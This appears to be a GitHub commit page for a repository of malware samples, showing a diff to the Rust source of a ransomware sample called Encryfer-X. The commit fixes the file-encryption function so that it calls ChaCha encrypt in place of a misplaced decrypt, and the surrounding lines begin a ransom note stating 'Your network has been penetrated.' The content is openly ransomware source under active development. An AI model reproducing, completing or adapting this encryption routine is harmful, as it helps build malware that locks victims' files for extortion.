Skip to content

Commit 8cbe1d2

Browse files
committed
Update in Encryption Module
1 parent a583406 commit 8cbe1d2

File tree

1 file changed

+1
-8
lines changed

1 file changed

+1
-8
lines changed

Malware-Samples/Encryfer/Encryfer-X/src/encrypt.rs

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -38,14 +38,7 @@ pub fn encrypt_chacha(file_data: &[u8], key: &[u8; 32], nonce: &[u8; 12]) -> Vec
3838
msg: file_data,
3939
aad: b"optional_data",
4040
};
41-
// cipher.encrypt(nonce.into(), payload).expect("Encryption failed")
42-
match cipher.decrypt(nonce.into(), payload) {
43-
Ok(decrypted_data) => decrypted_data,
44-
Err(_) => {
45-
eprintln!("ChaCha Encryption failed");
46-
Vec::new()
47-
}
48-
}
41+
cipher.encrypt(nonce.into(), payload).expect("Encryption failed")
4942
}
5043

5144
pub const CONTENT: &str = "Your network has been penetrated.

0 commit comments

Comments
 (0)